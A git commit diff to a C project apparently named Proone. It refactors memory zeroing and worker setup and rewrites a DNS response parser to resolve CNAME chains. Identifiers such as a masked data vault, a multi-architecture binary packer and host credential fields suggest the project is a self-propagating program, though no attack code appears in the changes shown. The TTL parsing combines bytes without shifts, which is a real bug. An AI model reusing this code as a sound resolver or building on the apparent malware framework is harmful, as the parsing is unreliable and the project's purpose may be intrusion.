diff options
Diffstat (limited to 'src')
-rw-r--r-- | src/dvault.c | 3 | ||||
-rw-r--r-- | src/iset.h | 2 | ||||
-rw-r--r-- | src/pack.c | 9 | ||||
-rw-r--r-- | src/proone-pack.c | 5 | ||||
-rw-r--r-- | src/proone-resolv.c | 3 | ||||
-rw-r--r-- | src/proone.c | 32 | ||||
-rw-r--r-- | src/resolv_worker.c | 273 | ||||
-rw-r--r-- | src/util_ct.h | 4 | ||||
-rw-r--r-- | src/worker.c | 3 |
9 files changed, 215 insertions, 119 deletions
diff --git a/src/dvault.c b/src/dvault.c index 85b2d46..a3009de 100644 --- a/src/dvault.c +++ b/src/dvault.c @@ -1,5 +1,6 @@ #include "dvault.h" #include "util_rt.h" +#include "util_ct.h" #include <stdint.h> #include <stdbool.h> @@ -202,7 +203,7 @@ void prne_dvault_unmask_entry_bin (const prne_data_key_t key, const uint8_t **da void prne_dvault_reset_dict (void) { if (unmasked) { - memset(unmasked_buf, 0, unmasked_buf_size); + memzero(unmasked_buf, unmasked_buf_size); unmasked = false; } } @@ -5,7 +5,7 @@ typedef struct prne_iset prne_iset_t; -typedef uintptr_t prne_iset_val_t; +typedef void* prne_iset_val_t; struct prne_iset { prne_iset_val_t *arr; @@ -1,5 +1,6 @@ #include "pack.h" #include "util_rt.h" +#include "util_ct.h" #include <stdint.h> #include <stdbool.h> @@ -43,7 +44,7 @@ prne_unpack_bin_archive_result_t prne_unpack_bin_archive (const int fd) { bool stream_end; prne_init_unpack_bin_archive_result(&ret); - memset(&stream, 0, sizeof(z_stream)); + memzero(&stream, sizeof(z_stream)); mem = (uint8_t*)prne_malloc(1, fd_buf_size + b64_buf_size + z_buf_size); if (mem == NULL) { @@ -149,9 +150,9 @@ prne_index_bin_archive_result_code_t prne_index_bin_archive (prne_unpack_bin_arc prne_arch_t arch_arr[NB_PRNE_ARCH]; prne_bin_archive_t archive; - memset(arch_arr, 0, sizeof(prne_arch_t) * NB_PRNE_ARCH); - memset(offset_arr, 0, sizeof(size_t) * NB_PRNE_ARCH); - memset(size_arr, 0, sizeof(size_t) * NB_PRNE_ARCH); + memzero(arch_arr, sizeof(prne_arch_t) * NB_PRNE_ARCH); + memzero(offset_arr, sizeof(size_t) * NB_PRNE_ARCH); + memzero(size_arr, sizeof(size_t) * NB_PRNE_ARCH); prne_init_bin_archive(&archive); do { diff --git a/src/proone-pack.c b/src/proone-pack.c index de2f05c..85a2beb 100644 --- a/src/proone-pack.c +++ b/src/proone-pack.c @@ -12,6 +12,7 @@ #include <fcntl.h> #include "util_rt.h" +#include "util_ct.h" #include "protocol.h" @@ -48,8 +49,8 @@ int main (const int argc, const char **args) { } // init - memset(encounter_arr, 0, sizeof(archive_tuple_t*) * NB_PRNE_ARCH); - memset(archive_arr, 0, sizeof(archive_tuple_t) * NB_PRNE_ARCH); + memzero(encounter_arr, sizeof(archive_tuple_t*) * NB_PRNE_ARCH); + memzero(archive_arr, sizeof(archive_tuple_t) * NB_PRNE_ARCH); // Check the file names are valid for (i = 1; i < (size_t)argc; i += 1) { diff --git a/src/proone-resolv.c b/src/proone-resolv.c index 3c035de..889d626 100644 --- a/src/proone-resolv.c +++ b/src/proone-resolv.c @@ -17,6 +17,7 @@ #include <mbedtls/entropy.h> #include "util_rt.h" +#include "util_ct.h" #include "llist.h" #include "resolv_worker.h" @@ -303,7 +304,7 @@ static void install_signal_handlers (void) { prne_ok_or_die(fcntl(int_pipe[1], F_SETFD, FD_CLOEXEC)); } - memset(&sa, 0, sizeof(struct sigaction)); + memzero(&sa, sizeof(struct sigaction)); sa.sa_flags = SA_RESETHAND; sa.sa_handler = handle_interrupt; diff --git a/src/proone.c b/src/proone.c index be89d23..b265ddf 100644 --- a/src/proone.c +++ b/src/proone.c @@ -59,15 +59,28 @@ static void proc_fin_call (void) { } } -static void init_workers (prne_wkr_sched_req_t *sched_req) { +static void alloc_workers (prne_wkr_sched_req_t *sched_req) { prne_g.resolv = prne_alloc_resolv_worker(&resolv_wkr, sched_req, &prne_g.ssl.rnd); if (prne_g.resolv != NULL) { resolv_wkr.id = PRNE_RESOLV_WKR_ID; wkr_arr[0] = &resolv_wkr; - prne_llist_append(&wkr_pool, &resolv_wkr); + if (prne_llist_append(&wkr_pool, &resolv_wkr) == NULL) { + prne_g.resolv = NULL; + } } } +static void free_workers (void) { + for (size_t i = 0; i < sizeof(wkr_arr) / sizeof(prne_worker_t*); i += 1) { + if (wkr_arr[i] == NULL) { + continue; + } + wkr_arr[i]->free(wkr_arr[i]->ctx); + wkr_arr[i] = NULL; + } + prne_g.resolv = NULL; +} + #ifdef PRNE_DEBUG static void handle_sigpipe (const int sn) { // ALWAYS poll() before writing to fd! @@ -106,7 +119,7 @@ static int proone_main (void) { prne_init_wkr_sched_req(&sched_req); prne_init_wkr_tick_info(&tick_info); prne_init_llist(&wkr_pool); - init_workers(&sched_req); + alloc_workers(&sched_req); if (pipe(int_pipe) == 0) { prne_set_pipe_size(int_pipe[0], 1); prne_ok_or_die(fcntl(int_pipe[0], F_SETFL, O_NONBLOCK)); @@ -188,13 +201,8 @@ static int proone_main (void) { } END: - for (size_t i = 0; i < sizeof(wkr_arr) / sizeof(prne_worker_t*); i += 1) { - if (wkr_arr[i] == NULL) { - continue; - } - wkr_arr[i]->free(wkr_arr[i]->ctx); - wkr_arr[i] = NULL; - } + free_workers(); + prne_free_llist(&wkr_pool); prne_free_wkr_pollfd_slot(int_pfd); prne_free_wkr_tick_info(&tick_info); @@ -396,7 +404,7 @@ int main (const int argc, char **args) { prne_g.host_cred_data = NULL; prne_g.host_cred_size = 0; - memset(&prne_g.god_start, 0, sizeof(struct timespec)); + prne_ok_or_die(clock_gettime(CLOCK_MONOTONIC, &prne_g.god_start)); prne_g.run_cnt = 0; prne_g.resolv = NULL; prne_g.god_exit_evt = -1; @@ -461,8 +469,6 @@ int main (const int argc, char **args) { setup_signal_actions(); - prne_ok_or_die(clock_gettime(CLOCK_MONOTONIC, &prne_g.god_start)); - // main loop while (prne_g.caught_signal == 0) { prne_g.proone_pid = fork(); diff --git a/src/resolv_worker.c b/src/resolv_worker.c index d5bc19d..20cc8cf 100644 --- a/src/resolv_worker.c +++ b/src/resolv_worker.c @@ -1,7 +1,9 @@ #include "resolv_worker.h" #include "util_rt.h" +#include "util_ct.h" #include "llist.h" #include "imap.h" +#include "iset.h" #include "protocol.h" #include "mbedtls.h" @@ -411,7 +413,7 @@ static bool resolv_ensure_conn (prne_resolv_wkr_ctx_t ctx) { else { struct sockaddr_in6 addr; - memset(&addr, 0, sizeof(addr)); + memzero(&addr, sizeof(addr)); prne_net_ep_tosin6(ctx->dnssrv_6.arr + ctx->dnssrv_6.ptr, &addr); connect(ctx->dnss_fd[0], (const struct sockaddr*)&addr, sizeof(addr)); } @@ -425,7 +427,7 @@ static bool resolv_ensure_conn (prne_resolv_wkr_ctx_t ctx) { else { struct sockaddr_in addr; - memset(&addr, 0, sizeof(addr)); + memzero(&addr, sizeof(addr)); prne_net_ep_tosin4(ctx->dnssrv_4.arr + ctx->dnssrv_4.ptr, &addr); connect(ctx->dnss_fd[1], (const struct sockaddr*)&addr, sizeof(addr)); } @@ -554,11 +556,14 @@ static bool resolv_ensure_conn (prne_resolv_wkr_ctx_t ctx) { return false; } -static const uint8_t* resolv_index_labels (prne_imap_t *map, const uint8_t *start, const uint8_t *end, const uint8_t *p) { +static const uint8_t* resolv_index_labels (prne_imap_t *map, const uint8_t *start, const uint8_t *end, const uint8_t *p, prne_resolv_qr_t *qr, int *err) { uint16_t ptr; const prne_imap_tuple_t *tpl; + assert(qr != NULL); + assert(err != NULL); if (p >= end) { + *qr = PRNE_RESOLV_QR_PRO_ERR; return NULL; } @@ -568,17 +573,24 @@ static const uint8_t* resolv_index_labels (prne_imap_t *map, const uint8_t *star ptr = ((uint16_t)p[0] << 8) | (uint16_t)p[1]; tpl = prne_imap_lookup(map, ptr); if (tpl == NULL) { + *qr = PRNE_RESOLV_QR_ERR; + *err = errno; return NULL; } return p + 2; } else if (*p > 63) { + *qr = PRNE_RESOLV_QR_PRO_ERR; return NULL; } else { // index the label ptr = (uint16_t)(p - start) | 0xC000; - prne_imap_insert(map, ptr, (void*)p); + if (prne_imap_insert(map, ptr, (void*)p) == NULL) { + *qr = PRNE_RESOLV_QR_ERR; + *err = errno; + return NULL; + } p += *p + 1; } } @@ -586,34 +598,42 @@ static const uint8_t* resolv_index_labels (prne_imap_t *map, const uint8_t *star return p + 1; } -static int resolv_mapped_qname_cmp (prne_imap_t *map, const uint8_t *p_msg, const char *name) { +static int resolv_mapped_qname_cmp (prne_imap_t *map, const uint8_t *a, const uint8_t *b, prne_resolv_qr_t *qr) { + const uint8_t *p[2] = { a, b }; + size_t i; uint16_t ptr; const prne_imap_tuple_t *tpl; int ret; + + assert(qr != NULL); + do { - if ((p_msg[0] & 0xC0) == 0xC0) { - // deref the pointer - ptr = ((uint16_t)p_msg[0] << 8) | (uint16_t)p_msg[1]; - tpl = prne_imap_lookup(map, ptr); - if (tpl == NULL) { - ret = -1; - break; + // deref the pointers + for (i = 0; i < 2; i += 1) { + if ((p[i][0] & 0xC0) == 0xC0) { + ptr = ((uint16_t)p[i][0] << 8) | (uint16_t)p[i][1]; + tpl = prne_imap_lookup(map, ptr); + if (tpl == NULL) { + ret = -1; + *qr = PRNE_RESOLV_QR_PRO_ERR; + break; + } + p[i] = (const uint8_t*)tpl->val; } - p_msg = (const uint8_t*)tpl->val; } - else { - if (*p_msg != *name) { - ret = 0; - break; - } - if (*p_msg == 0 || *name == 0) { - ret = 1; - break; - } - p_msg += 1; - name += 1; + + if (*p[0] != *p[1]) { + ret = 0; + break; + } + if (*p[0] == 0 || *p[1] == 0) { + ret = 1; + break; } + + p[0] += 1; + p[1] += 1; } while (true); return ret; @@ -621,21 +641,24 @@ static int resolv_mapped_qname_cmp (prne_imap_t *map, const uint8_t *p_msg, cons static bool resolv_proc_dns_msg (prne_resolv_wkr_ctx_t ctx, const uint8_t *data, const size_t len, bool *err_flag) { typedef struct { - const void *p; - size_t len; + const uint8_t *name; + const uint8_t *data; uint32_t ttl; - } data_tuple_t; - data_tuple_t *tpl; + uint16_t rtype; + uint16_t rclass; + uint16_t data_len; + } rr_tuple_t; + rr_tuple_t *tpl; prne_resolv_qr_t qr; int err = 0, cmp_ret; - const char *qname; - uint_fast16_t qid, status, ancount, rtype, rclass, rdlen, ttype; - uint_fast32_t ttl; + uint_fast16_t qid, status, ancount, ttype; prne_imap_t ptr_map; // val in msg(uint8_t):(uint8_t*)real addr - prne_llist_t data_list; + prne_llist_t rr_list, ret_list; + prne_iset_t alias_set; + prne_llist_entry_t *cur; query_entry_t *qent; - const uint8_t *end = data + len, *p, *p_name; - size_t i; + const uint8_t *qname, *alias, *end = data + len, *p, *rname; + size_t i, j, loop_cnt; bool ret; if (len < 12) { @@ -648,7 +671,9 @@ static bool resolv_proc_dns_msg (prne_resolv_wkr_ctx_t ctx, const uint8_t *data, status = 0; ttype = 0; prne_init_imap(&ptr_map); - prne_init_llist(&data_list); + prne_init_llist(&rr_list); + prne_init_llist(&ret_list); + prne_init_iset(&alias_set); // ID { @@ -712,11 +737,9 @@ static bool resolv_proc_dns_msg (prne_resolv_wkr_ctx_t ctx, const uint8_t *data, *err_flag = true; goto END; } - qname = (const char *)data + 12; - p = resolv_index_labels(&ptr_map, data, end, (const uint8_t*)qname); + qname = data + 12; + p = resolv_index_labels(&ptr_map, data, end, (const uint8_t*)qname, &qr, &err); if (p == NULL) { - qr = PRNE_RESOLV_QR_PRO_ERR; - *err_flag = true; goto END; } if ((size_t)(p - data + 4) > len) { @@ -724,19 +747,13 @@ static bool resolv_proc_dns_msg (prne_resolv_wkr_ctx_t ctx, const uint8_t *data, *err_flag = true; goto END; } - if (qent != NULL && strcmp(qname, qent->qname) != 0) { + if (qent != NULL && strcmp((const char*)qname, qent->qname) != 0) { qr = PRNE_RESOLV_QR_PRO_ERR; *err_flag = true; goto END; } - rtype = ((uint_fast16_t)p[0] << 8) | (uint_fast16_t)p[1]; - rclass = ((uint_fast16_t)p[2] << 8) | (uint_fast16_t)p[3]; - if (rclass != 1) { - qr = PRNE_RESOLV_QR_PRO_ERR; - *err_flag = true; - goto END; - } - if (ttype != 0 && ttype != rtype) { + if ((ttype != 0 && ttype != (((uint_fast16_t)p[0] << 8) | (uint_fast16_t)p[1])) || + (((uint_fast16_t)p[2] << 8) | (uint_fast16_t)p[3]) != 1) { qr = PRNE_RESOLV_QR_PRO_ERR; *err_flag = true; goto END; @@ -745,80 +762,146 @@ static bool resolv_proc_dns_msg (prne_resolv_wkr_ctx_t ctx, const uint8_t *data, p += 4; // decode answer RRs for (i = 0; i < ancount; i += 1) { - p_name = p; - p = resolv_index_labels(&ptr_map, data, end, p); - if (p == NULL || p >= end || end - p < 10) { - qr = PRNE_RESOLV_QR_PRO_ERR; - *err_flag = true; + tpl = prne_malloc(sizeof(rr_tuple_t), 1); + if (tpl == NULL) { + err = errno; + qr = PRNE_RESOLV_QR_ERR; + goto END; + } + if (prne_llist_append(&rr_list, tpl) == NULL) { + prne_free(tpl); + err = errno; + qr = PRNE_RESOLV_QR_ERR; goto END; } - rtype = ((uint_fast16_t)p[0] << 8) | (uint_fast16_t)p[1]; - rclass = ((uint_fast16_t)p[2] << 8) | (uint_fast16_t)p[3]; - ttl = ((uint_fast32_t)p[4]) | ((uint_fast32_t)p[5]) | ((uint_fast32_t)p[6]) | ((uint_fast32_t)p[7]); - rdlen = ((uint_fast16_t)p[8] << 8) | (uint_fast16_t)p[9]; - cmp_ret = resolv_mapped_qname_cmp(&ptr_map, p_name, qname); - if (cmp_ret < 0) { + tpl->name = p; + p = resolv_index_labels(&ptr_map, data, end, p, &qr, &err); + if (p == NULL) { + goto END; + } + if (p >= end || end - p < 10) { qr = PRNE_RESOLV_QR_PRO_ERR; *err_flag = true; goto END; } - if (cmp_ret && ttype != 0 && ttype == rtype && rclass == 1) { - if ((qent->type == PRNE_RESOLV_QT_A && rdlen != 4) || - (qent->type == PRNE_RESOLV_QT_AAAA && rdlen != 16) || - (qent->type == PRNE_RESOLV_QT_TXT && rdlen == 0)) { - qr = PRNE_RESOLV_QR_PRO_ERR; - *err_flag = true; + tpl->rtype = ((uint_fast16_t)p[0] << 8) | (uint_fast16_t)p[1]; + tpl->rclass = ((uint_fast16_t)p[2] << 8) | (uint_fast16_t)p[3]; + tpl->ttl = ((uint_fast32_t)p[4]) | ((uint_fast32_t)p[5]) | ((uint_fast32_t)p[6]) | ((uint_fast32_t)p[7]); + tpl->data_len = ((uint_fast16_t)p[8] << 8) | (uint_fast16_t)p[9]; + rname = tpl->data = p + 10; + + switch (tpl->rtype) { + case PRNE_RESOLV_RTYPE_SOA: + loop_cnt = 2; + break; + case PRNE_RESOLV_RTYPE_CNAME: + case PRNE_RESOLV_RTYPE_MX: + case PRNE_RESOLV_RTYPE_NS: + case PRNE_RESOLV_RTYPE_PTR: + loop_cnt = 1; + break; + default: + loop_cnt = 0; + } + for (j = 0; j < loop_cnt; j += 1) { + rname = resolv_index_labels(&ptr_map, data, tpl->data + tpl->data_len, rname, &qr, &err); + if (rname == NULL) { + goto END; + } + } + + p += 10 + tpl->data_len; + } + + // resolve cname + alias = qname; + if (!prne_iset_insert(&alias_set, (prne_iset_val_t)alias)) { + qr = PRNE_RESOLV_QR_ERR; + err = errno; + goto END; + } +QNAME_START: + cur = rr_list.head; + while (cur != NULL) { + tpl = (rr_tuple_t*)cur->element; + + if (tpl->rtype == PRNE_RESOLV_RTYPE_CNAME) { + cmp_ret = resolv_mapped_qname_cmp(&ptr_map, tpl->name, alias, &qr); + if (cmp_ret < 0) { goto END; } + if (cmp_ret) { + if (prne_iset_lookup(&alias_set, (prne_iset_val_t)tpl->data)) { + qr = PRNE_RESOLV_QR_PRO_ERR; + goto END; + } + if (!prne_iset_insert(&alias_set, (prne_iset_val_t)tpl->data)) { + qr = PRNE_RESOLV_QR_ERR; + err = errno; + goto END; + } + alias = tpl->data; + goto QNAME_START; + } + } + + cur = cur->next; + } - tpl = (data_tuple_t*)prne_malloc(sizeof(data_tuple_t), 1); - if (tpl == NULL || prne_llist_append(&data_list, tpl) == NULL) { - prne_free(tpl); + // index the selected(alias) resources + cur = rr_list.head; + while (cur != NULL) { + tpl = (rr_tuple_t*)cur->element; + + cmp_ret = resolv_mapped_qname_cmp(&ptr_map, tpl->name, alias, &qr); + if (cmp_ret < 0) { + goto END; + } + if (cmp_ret && ttype == tpl->rtype) { + if (prne_llist_append(&ret_list, tpl) == NULL) { qr = PRNE_RESOLV_QR_ERR; err = errno; goto END; } - tpl->p = p + 10; - tpl->len = rdlen; - tpl->ttl = ttl; } - p += 10 + rdlen; + + cur = cur->next; } - if (data_list.size > 0 && qent != NULL) { + // return data + if (ret_list.size > 0 && qent != NULL) { prne_llist_entry_t *cur; - data_tuple_t *tpl = NULL; + rr_tuple_t *tpl; - qent->fut.rr = (prne_resolv_rr_t*)prne_malloc(sizeof(prne_resolv_rr_t), data_list.size); + qent->fut.rr = (prne_resolv_rr_t*)prne_malloc(sizeof(prne_resolv_rr_t), ret_list.size); if (qent->fut.rr == NULL) { qr = PRNE_RESOLV_QR_ERR; err = errno; goto END; } - qent->fut.rr_cnt = data_list.size; + qent->fut.rr_cnt = ret_list.size; for (i = 0; i < qent->fut.rr_cnt; i += 1) { prne_init_resolv_rr(qent->fut.rr + i); } i = 0; - cur = data_list.head; + cur = ret_list.head; while (cur != NULL) { - tpl = (data_tuple_t*)cur->element; - qent->fut.rr[i].rr_class = 1; - qent->fut.rr[i].rr_type = ttype; + tpl = (rr_tuple_t*)cur->element; + + qent->fut.rr[i].rr_class = tpl->rclass; + qent->fut.rr[i].rr_type = tpl->rtype; qent->fut.rr[i].rr_ttl = tpl->ttl; - if (tpl->len > 0) { - qent->fut.rr[i].name = resolv_qname_tostr(qent->qname); - assert(qent->fut.rr[i].name != NULL); - qent->fut.rr[i].rd_data = (uint8_t*)prne_malloc(1, tpl->len); - if (qent->fut.rr[i].rd_data == NULL) { + if (tpl->data_len > 0) { + if ((qent->fut.rr[i].name = resolv_qname_tostr(qent->qname)) == NULL || + (qent->fut.rr[i].rd_data = (uint8_t*)prne_malloc(1, tpl->data_len)) == NULL) { qr = PRNE_RESOLV_QR_ERR; err = errno; goto END; } - qent->fut.rr[i].rd_len = tpl->len; - memcpy(qent->fut.rr[i].rd_data, tpl->p, tpl->len); + qent->fut.rr[i].rd_len = tpl->data_len; + memcpy(qent->fut.rr[i].rd_data, tpl->data, tpl->data_len); } else { qent->fut.rr[i].rd_data = NULL; @@ -833,17 +916,15 @@ static bool resolv_proc_dns_msg (prne_resolv_wkr_ctx_t ctx, const uint8_t *data, qr = PRNE_RESOLV_QR_OK; END: - if (data_list.size > 0) { - prne_llist_entry_t *cur; - - cur = data_list.head; - while (cur != NULL) { - prne_free(cur->element); - cur = cur->next; - } + cur = rr_list.head; + while (cur != NULL) { + prne_free(cur->element); + cur = cur->next; } - prne_free_llist(&data_list); + prne_free_llist(&rr_list); + prne_free_llist(&ret_list); prne_free_imap(&ptr_map); + prne_free_iset(&alias_set); if (qent != NULL) { if (qr != PRNE_RESOLV_QR_OK) { for (i = 0; i < qent->fut.rr_cnt; i += 1) { diff --git a/src/util_ct.h b/src/util_ct.h index c8eca2f..1aadbe2 100644 --- a/src/util_ct.h +++ b/src/util_ct.h @@ -5,3 +5,7 @@ #define PRNE_LIMIT_ENUM(t,x,l) _Static_assert(x<=l,"enum overflow: "#t) #define prne_op_spaceship(a, b) (a == b ? 0 : a < b ? -1 : 1) + +#if !defined(memzero) +#define memzero(addr, len) memset(addr, 0, len) +#endif diff --git a/src/worker.c b/src/worker.c index f68eace..b3dc714 100644 --- a/src/worker.c +++ b/src/worker.c @@ -1,5 +1,6 @@ #include "worker.h" #include "util_rt.h" +#include "util_ct.h" #include <string.h> #include <time.h> @@ -266,7 +267,7 @@ void prne_free_wkr_pollfd_slot (prne_wkr_pollfd_slot_pt s) { } void prne_init_wkr_tick_info (prne_wkr_tick_info_t *ti) { - memset(ti, 0, sizeof(prne_wkr_tick_info_t)); + memzero(ti, sizeof(prne_wkr_tick_info_t)); } void prne_free_wkr_tick_info (prne_wkr_tick_info_t *ti) { |